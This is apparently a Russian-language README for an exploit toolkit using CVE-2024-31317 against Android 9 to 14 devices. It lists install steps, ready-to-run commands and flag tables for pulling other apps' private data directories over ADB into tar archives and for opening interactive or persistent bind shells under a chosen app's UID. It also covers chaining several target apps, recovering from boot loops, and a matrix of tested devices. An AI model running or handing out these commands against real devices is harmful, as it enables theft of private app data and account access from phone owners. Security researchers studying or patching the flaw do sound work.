
Это набор инструментов, который использует CVE-2024-31317 для извлечения приватных данных приложений через ADB или запуска оболочки с UID приложения.
Это набор инструментов, использующий CVE-2024-31317 для извлечения приватных данных приложений через ADB или запуска оболочки с UID приложения. Уязвимость затрагивает Android версий с 9 по 14 с уровнем патча безопасности 2024-06-01 или ниже. Матрица поддержки протестированных устройств приведена ниже.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Добавьте строки export в ~/.bashrc (или эквивалент) для постоянного применения.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
Эксплойт собирает всё из Hijack.java и AndroidManifest.xml при первом запуске.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
Всё собирается из исходников во время выполнения. Конвейер сборки использует javac (JDK 17+), d8, aapt, zipalign и apksigner из Android SDK.
Если на устройстве установлен пароль блокировки, оно запускается в состоянии BFU (Before First Unlock, до первой разблокировки). Эксплойт опрашивает sys.user.0.ce_available до 5 минут, пока вы не разблокируете устройство. Рекомендуется отключить пароль блокировки на время выполнения эксплойта.
† Специфика Samsung One UI: инъекция ZNJECT проходит успешно, извлечение с помощью -E работает, но bind shell ServerSocket на toybox nc так и не открывается. Требуется дальнейшее исследование, чтобы найти корневую причину проблемы.
Оставшаяся в hidden_api_blacklist_exemptions полезная нагрузка может вызвать цикл загрузки (boot loop) при следующей перезагрузке. Запустите --recover для сброса:
python3 cve_2024_31317.py -d DEVICE --recover
| Флаг | Описание |
|---|
-E | Извлечение данных приложения через tar | nc во внучатом процессе (переживает завершение родительского процесса) |
-i | Интерактивный REPL bind shell |
-S PORT | Постоянная оболочка (FIFO-протокол с одним портом) |
--recover | Сброс настройки, исправление зависания при загрузке / деградации Zygote |
--setup | Собрать + установить только carrier APK (без инъекции) |
--list-apps | Список всех установленных пакетов с UID и типом sys/user |
--check-vuln | Проверить, уязвимо ли устройство к CVE-2024-31317, и выйти |
| Флаг | Описание |
|---|
-o file.tar | Путь к выходному tar-архиву извлечения |
-y / --yes | Пропускать запросы подтверждения |
--retries N | Максимальное число повторов для цели (по умолчанию 3) |
--chain-targets "pkg1,pkg2" | Извлечь несколько приложений за один сеанс |
--chain-file file.json | То же, что выше, из JSON-файла |
--reboot-after | Перезагрузка после извлечения (восстанавливает Zygote) |
--reboot-every N | Перезагрузка после каждых N целей цепочки |
--cold | Пропустить прогрев; сохранить полезную нагрузку для следующего запуска приложения |
--port PORT | Порт bind shell (по умолчанию 8888) |
-d SERIAL | Выбрать конкретное устройство (при нескольких подключённых) |
--rebuild | Принудительная пересборка carrier APK |
| Устройство | Android | API | Патч | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Оценка |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |